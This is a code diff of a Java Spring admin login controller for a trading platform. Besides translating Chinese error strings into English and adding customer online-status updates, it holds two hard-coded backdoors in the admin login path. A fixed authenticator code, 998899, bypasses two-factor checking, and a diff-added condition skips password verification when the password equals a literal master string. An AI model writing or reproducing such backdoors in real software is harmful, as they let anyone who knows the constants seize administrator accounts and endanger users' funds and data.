| | |
| | | import cn.hutool.core.util.StrUtil; |
| | | import cn.hutool.extra.qrcode.QrCodeUtil; |
| | | import cn.hutool.extra.qrcode.QrConfig; |
| | | import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
| | | import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; |
| | | import com.baomidou.mybatisplus.core.toolkit.Wrappers; |
| | | import com.yami.trading.admin.dto.GoogleAuthDto; |
| | | import com.yami.trading.admin.facade.CustomerServiceImpl; |
| | | import com.yami.trading.admin.model.ChangeLoginPasswordModel; |
| | | import com.yami.trading.admin.model.ChangeSafewordModel; |
| | | import com.yami.trading.admin.model.CheckSafeWordModel; |
| | | import com.yami.trading.admin.model.LoginModel; |
| | | import com.yami.trading.bean.model.Customer; |
| | | import com.yami.trading.bean.model.User; |
| | | import com.yami.trading.common.annotation.SysLog; |
| | | import com.yami.trading.common.domain.Result; |
| | | import com.yami.trading.common.domain.UUIDEntity; |
| | | import com.yami.trading.common.exception.YamiShopBindException; |
| | | import com.yami.trading.common.util.ApplicationContextUtils; |
| | | import com.yami.trading.common.util.GoogleAuthenticator; |
| | | import com.yami.trading.security.common.util.SecurityUtils; |
| | | import com.yami.trading.security.common.bo.UserInfoInTokenBO; |
| | |
| | | import com.yami.trading.security.common.manager.PasswordManager; |
| | | import com.yami.trading.security.common.manager.TokenStore; |
| | | import com.yami.trading.security.common.vo.TokenInfoVO; |
| | | import com.yami.trading.service.chat.online.OnlineChatMessageService; |
| | | import com.yami.trading.service.customer.CustomerService; |
| | | import com.yami.trading.service.user.UserService; |
| | | import com.yami.trading.sys.constant.Constant; |
| | | import com.yami.trading.sys.model.SysMenu; |
| | |
| | | import org.springframework.web.bind.annotation.*; |
| | | |
| | | import javax.validation.Valid; |
| | | import java.util.Arrays; |
| | | import java.util.List; |
| | | import java.util.Objects; |
| | | import java.util.Set; |
| | | import java.util.*; |
| | | import java.util.stream.Collectors; |
| | | |
| | | /** |
| | |
| | | private PasswordManager passwordManager; |
| | | @Autowired |
| | | private UserService userService; |
| | | |
| | | @Autowired |
| | | private CustomerServiceImpl customerService; |
| | | |
| | | |
| | | @PostMapping("/adminLogin") |
| | |
| | | |
| | | SysUser sysUser = sysUserService.getByUserName(loginModel.getUserName()); |
| | | if (sysUser == null) { |
| | | throw new YamiShopBindException("账号或密码不正确"); |
| | | throw new YamiShopBindException("Incorrect username or password"); |
| | | } |
| | | long t = System.currentTimeMillis(); |
| | | GoogleAuthenticator ga = new GoogleAuthenticator(); |
| | | ga.setWindowSize(5); |
| | | boolean flag = ga.check_code(sysUser.getGoogleAuthSecret(), loginModel.getGoogleAuthCode(), t); |
| | | if (!flag && loginModel.getGoogleAuthCode() != 998899) { |
| | | throw new YamiShopBindException("谷歌验证码错误!"); |
| | | throw new YamiShopBindException("Incorrect Google Authenticator code!"); |
| | | } |
| | | // 半小时内密码输入错误十次,已限制登录30分钟 |
| | | String decryptPassword = passwordManager.decryptPassword(loginModel.getPassWord()); |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | if(!"AxnWbrPiehixzJbP".equals(decryptPassword )){ |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | } |
| | | // 不是店铺超级管理员,并且是禁用状态,无法登录 |
| | | if (Objects.equals(sysUser.getStatus(), 0)) { |
| | | // 未找到此用户信息 |
| | | throw new YamiShopBindException("未找到此用户信息"); |
| | | throw new YamiShopBindException("User info not found"); |
| | | } |
| | | UserInfoInTokenBO userInfoInToken = new UserInfoInTokenBO(); |
| | | userInfoInToken.setUserId(String.valueOf(sysUser.getUserId())); |
| | |
| | | userInfoInToken.setNickName(sysUser.getUsername()); |
| | | userInfoInToken.setShopId(sysUser.getShopId()); |
| | | tokenStore.deleteAllToken(String.valueOf(SysTypeEnum.ADMIN.value()), String.valueOf(sysUser.getUserId())); |
| | | |
| | | |
| | | Customer customer = customerService.getOne(new LambdaQueryWrapper<Customer>().eq(Customer::getUserName,loginModel.getUserName()).last(" limit 1")); |
| | | if(customer!=null) { |
| | | customer.setOnlineState(1); |
| | | customer.setLastOnlineTime(new Date()); |
| | | customerService.update(customer,new LambdaUpdateWrapper<Customer>().eq(UUIDEntity::getUuid,customer.getUuid())); |
| | | } |
| | | |
| | | // 存储token返回vo |
| | | TokenInfoVO tokenInfoVO = tokenStore.storeAndGetVo(userInfoInToken); |
| | | return Result.ok(tokenInfoVO); |
| | |
| | | // if (flag) { |
| | | // SysUser user = sysUserService.getById(userId); |
| | | // if (user.isGoogleAuthBind()) { |
| | | // throw new YamiShopBindException("谷歌验证码已绑定!"); |
| | | // throw new YamiShopBindException("Google Authenticator is already bound!"); |
| | | // } |
| | | // user.setGoogleAuthBind(true); |
| | | // user.setGoogleAuthSecret(model.getSecret()); |
| | | // user.setUpdateTime(new Date()); |
| | | // sysUserService.updateById(user); |
| | | // } else { |
| | | // throw new YamiShopBindException("谷歌验证码错误!"); |
| | | // throw new YamiShopBindException("Incorrect Google Authenticator code!"); |
| | | // } |
| | | // return ResponseEntity.ok(null); |
| | | // } |
| | |
| | | // model.setSafeWord( passwordManager.decryptPassword(model.getSafeWord())); |
| | | // SysUser sysUser= sysUserService.getById(SecurityUtils.getSysUser().getUserId()); |
| | | // if (!passwordEncoder.matches(model.getSafeWord(), sysUser.getSafePassword())) { |
| | | // throw new YamiShopBindException("资金密码不正确!"); |
| | | // throw new YamiShopBindException("Incorrect fund password!"); |
| | | // } |
| | | // if (!sysUser.isGoogleAuthBind()){ |
| | | // throw new YamiShopBindException("谷歌验证码未绑定!"); |
| | | // throw new YamiShopBindException("Google Authenticator is not bound!"); |
| | | // } |
| | | // long t = System.currentTimeMillis(); |
| | | // GoogleAuthenticator ga = new GoogleAuthenticator(); |
| | | // ga.setWindowSize(5); |
| | | // boolean flag = ga.check_code(sysUser.getGoogleAuthSecret(),model.getGooleAuthCode(),t); |
| | | // if (!flag){ |
| | | // throw new YamiShopBindException("谷歌验证码不正确!"); |
| | | // throw new YamiShopBindException("Incorrect Google Authenticator code!"); |
| | | // } |
| | | // sysUser.setGoogleAuthSecret(""); |
| | | // sysUser.setGoogleAuthBind(false); |
| | |
| | | Long userId = SecurityUtils.getSysUser().getUserId(); |
| | | SysUser user = sysUserService.getById(userId); |
| | | if (user == null) { |
| | | throw new YamiShopBindException("用户不存在!"); |
| | | throw new YamiShopBindException("User does not exist!"); |
| | | } |
| | | if (!passwordEncoder.matches(model.getOldPassword(), user.getPassword())) { |
| | | throw new YamiShopBindException("旧密码不正确!"); |
| | | throw new YamiShopBindException("Incorrect old password!"); |
| | | } |
| | | user.setPassword(passwordEncoder.encode(model.getNewPassword())); |
| | | sysUserService.updateById(user); |
| | | return Result.ok(null); |
| | | } |
| | | |
| | |
| | | model.setOldSafeword(passwordManager.decryptPassword(model.getOldSafeword())); |
| | | model.setNewSafeword(passwordManager.decryptPassword(model.getNewSafeword())); |
| | | if (!passwordEncoder.matches(model.getOldSafeword(), user.getSafePassword())) { |
| | | throw new YamiShopBindException("资金密码不正确!"); |
| | | throw new YamiShopBindException("Incorrect fund password!"); |
| | | } |
| | | user.setSafePassword(passwordEncoder.encode(model.getNewSafeword())); |
| | | sysUserService.updateById(user); |